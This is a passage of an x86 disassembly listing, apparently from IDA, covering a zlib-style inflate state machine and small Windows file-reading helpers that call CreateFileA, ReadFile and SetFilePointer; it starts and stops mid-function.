		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	ecx, ecx
		mov	cl, [edx]
		shl	ecx, 10h
		mov	edx, [eax+8]
		add	edx, ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ecx+8], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 4


loc_42E187:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E561o
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42E198
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E198:				; CODE XREF: sub_42DEC5+2C9j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		xor	edx, edx
		mov	dl, [eax]
		shl	edx, 8
		mov	eax, [ecx+8]
		add	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 5


loc_42E1F5:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E565o
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42E206
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E206:				; CODE XREF: sub_42DEC5+337j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		xor	eax, eax
		mov	al, [ecx]
		mov	ecx, [edx+8]
		add	ecx, eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+8]
		mov	[eax+30h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 6
		mov	eax, 2
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E279:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E569o
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Dh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aNeedDictionary ; "need dictionary"
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx+4], 0
		mov	eax, 0FFFFFFFEh
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E2A6:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E56Do
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+14h]
		push	ecx
		call	sub_42B1FD
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFDh
		jnz	short loc_42E2E7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Dh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx+4], 0
		jmp	loc_42E548
; ---------------------------------------------------------------------------


loc_42E2E7:				; CODE XREF: sub_42DEC5+402j
		cmp	[ebp+var_8], 0
		jnz	short loc_42E2F3
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax


loc_42E2F3:				; CODE XREF: sub_42DEC5+426j
		cmp	[ebp+var_8], 1
		jz	short loc_42E301
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E301:				; CODE XREF: sub_42DEC5+432j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		add	eax, 4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+14h]
		push	ecx
		call	sub_42B04E
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_42E344
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Ch
		jmp	loc_42E548
; ---------------------------------------------------------------------------


loc_42E344:				; CODE XREF: sub_42DEC5+46Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 8


loc_42E350:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E571o
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42E361
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E361:				; CODE XREF: sub_42DEC5+492j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	eax, eax
		mov	al, [edx]
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 9


loc_42E3B3:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E575o
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42E3C4
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E3C4:				; CODE XREF: sub_42DEC5+4F5j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		xor	eax, eax
		mov	al, [ecx]
		shl	eax, 10h
		mov	ecx, [edx+8]
		add	ecx, eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Ah


loc_42E421:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E579o
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_42E432
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E432:				; CODE XREF: sub_42DEC5+563j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	ecx, ecx
		mov	cl, [edx]
		shl	ecx, 8
		mov	edx, [eax+8]
		add	edx, ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ecx+8], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Bh


loc_42E48F:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E57Do
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42E4A0
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E4A0:				; CODE XREF: sub_42DEC5+5D1j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		xor	edx, edx
		mov	dl, [eax]
		mov	eax, [ecx+8]
		add	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ecx+4]
		cmp	ecx, [eax+8]
		jz	short loc_42E527
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Dh
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check"
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	short loc_42E548
; ---------------------------------------------------------------------------


loc_42E527:				; CODE XREF: sub_42DEC5+63Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Ch


loc_42E533:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E581o
		mov	eax, 1
		jmp	short loc_42E54D
; ---------------------------------------------------------------------------


loc_42E53A:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E585o
		mov	eax, 0FFFFFFFDh
		jmp	short loc_42E54D
; ---------------------------------------------------------------------------


loc_42E541:				; CODE XREF: sub_42DEC5+4Dj
		mov	eax, 0FFFFFFFEh
		jmp	short loc_42E54D
; ---------------------------------------------------------------------------


loc_42E548:				; CODE XREF: sub_42DEC5+E5j
					; sub_42DEC5+127j ...
		jmp	loc_42DF03
; ---------------------------------------------------------------------------


loc_42E54D:				; CODE XREF: sub_42DEC5+22j
					; sub_42DEC5+69j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42DEC5	endp

; ---------------------------------------------------------------------------
off_42E551	dd offset loc_42DF22	; DATA XREF: sub_42DEC5+56r
		dd offset loc_42DFFD
		dd offset loc_42E0B6
		dd offset loc_42E119
		dd offset loc_42E187
		dd offset loc_42E1F5
		dd offset loc_42E279
		dd offset loc_42E2A6
		dd offset loc_42E350
		dd offset loc_42E3B3
		dd offset loc_42E421
		dd offset loc_42E48F
		dd offset loc_42E533
		dd offset loc_42E53A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E589	proc near		; CODE XREF: sub_43012E+7Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_8], 1
		jz	short loc_42E5B1
		cmp	[ebp+arg_8], 2
		jz	short loc_42E5B1
		cmp	[ebp+arg_8], 3
		jz	short loc_42E5B1
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 10000h
		xor	eax, eax
		jmp	loc_42E717
; ---------------------------------------------------------------------------


loc_42E5B1:				; CODE XREF: sub_42E589+Aj
					; sub_42E589+10j ...
		mov	[ebp+var_8], 0
		mov	byte ptr [ebp+var_4], 0
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 0
		cmp	[ebp+arg_8], 1
		jz	short loc_42E5D5
		cmp	[ebp+arg_8], 2
		jnz	loc_42E66C


loc_42E5D5:				; CODE XREF: sub_42E589+40j
		cmp	[ebp+arg_8], 1
		jnz	short loc_42E61E
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_18], edx
		push	2
		push	0
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_433098	; GetCurrentProcess
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		call	dword_433098	; GetCurrentProcess
		push	eax
		call	dword_43309C	; DuplicateHandle
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_42E61C
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 100h
		xor	eax, eax
		jmp	loc_42E717
; ---------------------------------------------------------------------------


loc_42E61C:				; CODE XREF: sub_42E589+81j
		jmp	short loc_42E653
; ---------------------------------------------------------------------------


loc_42E61E:				; CODE XREF: sub_42E589+50j
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_433018	; CreateFileA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_42E653
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 200h
		xor	eax, eax
		jmp	loc_42E717
; ---------------------------------------------------------------------------


loc_42E653:				; CODE XREF: sub_42E589:loc_42E61Cj
					; sub_42E589+B8j
		mov	edx, [ebp+var_8]
		push	edx
		call	dword_4330A0	; GetFileType
		mov	[ebp+var_10], eax
		xor	eax, eax
		cmp	[ebp+var_10], 1
		setz	al
		mov	byte ptr [ebp+var_4], al


loc_42E66C:				; CODE XREF: sub_42E589+46j
		push	1Ch
		call	sub_431784
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_C], ecx
		cmp	[ebp+arg_8], 1
		jz	short loc_42E68B
		cmp	[ebp+arg_8], 2
		jnz	short loc_42E6D8


loc_42E68B:				; CODE XREF: sub_42E589+FAj
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	1
		mov	eax, [ebp+var_C]
		mov	cl, byte ptr [ebp+var_4]
		mov	[eax+1], cl
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx+8], 0
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_42E6D6
		push	1
		push	0
		push	0
		mov	ecx, [ebp+var_8]
		push	ecx
		call	dword_4330A4	; SetFilePointer
		mov	edx, [ebp+var_C]
		mov	[edx+0Ch], eax


loc_42E6D6:				; CODE XREF: sub_42E589+135j
		jmp	short loc_42E70B
; ---------------------------------------------------------------------------


loc_42E6D8:				; CODE XREF: sub_42E589+100j
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx+1], 1
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		mov	[edx+10h], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	[ecx+14h], edx
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+18h], 0
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+0Ch], 0


loc_42E70B:				; CODE XREF: sub_42E589:loc_42E6D6j
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_C]


loc_42E717:				; CODE XREF: sub_42E589+23j
					; sub_42E589+8Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E589	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E71B	proc near		; CODE XREF: sub_42ED22+28p
					; sub_42ED22+19Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E72A
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E756
; ---------------------------------------------------------------------------


loc_42E72A:				; CODE XREF: sub_42E71B+8j
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42E742
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	dword_433020	; CloseHandle


loc_42E742:				; CODE XREF: sub_42E71B+18j
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_43177E
		add	esp, 4
		xor	eax, eax


loc_42E756:				; CODE XREF: sub_42E71B+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_42E71B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E75A	proc near		; CODE XREF: sub_42E94E+39p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42E77B
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx+8]
		test	eax, eax
		jz	short loc_42E77B
		mov	eax, 1
		jmp	short loc_42E77D
; ---------------------------------------------------------------------------


loc_42E77B:				; CODE XREF: sub_42E75A+Cj
					; sub_42E75A+18j
		xor	eax, eax


loc_42E77D:				; CODE XREF: sub_42E75A+1Fj
		pop	ebp
		retn
sub_42E75A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E77F	proc near		; CODE XREF: sub_42EB91+25p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42E7B4
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_42E7B4
		push	1
		push	0
		push	0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		push	edx
		call	dword_4330A4	; SetFilePointer
		mov	ecx, [ebp+arg_0]
		sub	eax, [ecx+0Ch]
		jmp	short loc_42E7C9
; ---------------------------------------------------------------------------


loc_42E7B4:				; CODE XREF: sub_42E77F+Cj
					; sub_42E77F+18j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_42E7C3
		xor	eax, eax
		jmp	short loc_42E7C9
; ---------------------------------------------------------------------------


loc_42E7C3:				; CODE XREF: sub_42E77F+3Ej
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+18h]


loc_42E7C9:				; CODE XREF: sub_42E77F+33j
					; sub_42E77F+42j
		pop	ebp
		retn
sub_42E77F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E7CB	proc near		; CODE XREF: sub_42EB91+Ep
					; sub_42EB91+D7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42E84D
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_42E84D
		cmp	[ebp+arg_8], 0
		jnz	short loc_42E808
		push	0
		push	0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		add	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_4330A4	; SetFilePointer
		jmp	short loc_42E849
; ---------------------------------------------------------------------------


loc_42E808:				; CODE XREF: sub_42E7CB+1Ej
		cmp	[ebp+arg_8], 1
		jnz	short loc_42E825
		push	1
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_4330A4	; SetFilePointer
		jmp	short loc_42E849
; ---------------------------------------------------------------------------


loc_42E825:				; CODE XREF: sub_42E7CB+41j
		cmp	[ebp+arg_8], 2
		jnz	short loc_42E842
		push	2
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_4330A4	; SetFilePointer
		jmp	short loc_42E849
; ---------------------------------------------------------------------------


loc_42E842:				; CODE XREF: sub_42E7CB+5Ej
		mov	eax, 13h
		jmp	short loc_42E89E
; ---------------------------------------------------------------------------


loc_42E849:				; CODE XREF: sub_42E7CB+3Bj
					; sub_42E7CB+58j ...
		xor	eax, eax
		jmp	short loc_42E89E
; ---------------------------------------------------------------------------


loc_42E84D:				; CODE XREF: sub_42E7CB+Cj
					; sub_42E7CB+18j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_42E85F
		mov	eax, 1Dh
		jmp	short loc_42E89E
; ---------------------------------------------------------------------------


loc_42E85F:				; CODE XREF: sub_42E7CB+8Bj
		cmp	[ebp+arg_8], 0
		jnz	short loc_42E870
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	[ecx+18h], edx
		jmp	short loc_42E89C
; ---------------------------------------------------------------------------


loc_42E870:				; CODE XREF: sub_42E7CB+98j
		cmp	[ebp+arg_8], 1
		jnz	short loc_42E887
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		add	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+18h], ecx
		jmp	short loc_42E89C
; ---------------------------------------------------------------------------


loc_42E887:				; CODE XREF: sub_42E7CB+A9j
		cmp	[ebp+arg_8], 2
		jnz	short loc_42E89C
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+18h], ecx


loc_42E89C:				; CODE XREF: sub_42E7CB+A3j
					; sub_42E7CB+BAj ...
		xor	eax, eax


loc_42E89E:				; CODE XREF: sub_42E7CB+7Cj
					; sub_42E7CB+80j ...
		pop	ebp
		retn
sub_42E7CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E8A0	proc near		; CODE XREF: sub_42E94E+12p
					; sub_42EB91+F6p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_8]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_42E8F0
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_43301C	; ReadFile
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42E8E6
		mov	edx, [ebp+arg_C]
		mov	byte ptr [edx+8], 1


loc_42E8E6:				; CODE XREF: sub_42E8A0+3Dj
		mov	eax, [ebp+var_10]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_42E94A
; ---------------------------------------------------------------------------


loc_42E8F0:				; CODE XREF: sub_42E8A0+19j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+18h]
		add	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_C]
		cmp	ecx, [edx+14h]
		jbe	short loc_42E910
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_C]
		mov	edx, [eax+14h]
		sub	edx, [ecx+18h]
		mov	[ebp+var_8], edx


loc_42E910:				; CODE XREF: sub_42E8A0+5Fj
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+10h]
		mov	eax, [ebp+arg_C]
		add	edx, [eax+18h]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4318C4	; memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+18h]
		add	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[edx+18h], ecx
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	[ebp+arg_4]


loc_42E94A:				; CODE XREF: sub_42E8A0+4Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_42E8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E94E	proc near		; CODE XREF: sub_42E99E+Ep
					; sub_42E99E+2Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		push	1
		push	1
		lea	ecx, [ebp+var_8]
		push	ecx
		call	sub_42E8A0
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jnz	short loc_42E983
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		xor	eax, eax
		jmp	short loc_42E99A
; ---------------------------------------------------------------------------


loc_42E983:				; CODE XREF: sub_42E94E+21j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E75A
		add	esp, 4
		test	eax, eax
		jz	short loc_42E998
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E99A
; ---------------------------------------------------------------------------


loc_42E998:				; CODE XREF: sub_42E94E+43j
		xor	eax, eax


loc_42E99A:				; CODE XREF: sub_42E94E+33j
					; sub_42E94E+48j
		mov	esp, ebp
		pop	ebp
		retn
sub_42E94E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E99E	proc near		; CODE XREF: sub_42ED22+9Ap
					; sub_42ED22+B5p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E94E
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_42E9D6
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E94E
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42E9D6:				; CODE XREF: sub_42E99E+23j
		mov	edx, [ebp+var_C]
		shl	edx, 8
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42E9F4
		mov	ecx, [ebp+arg_4]
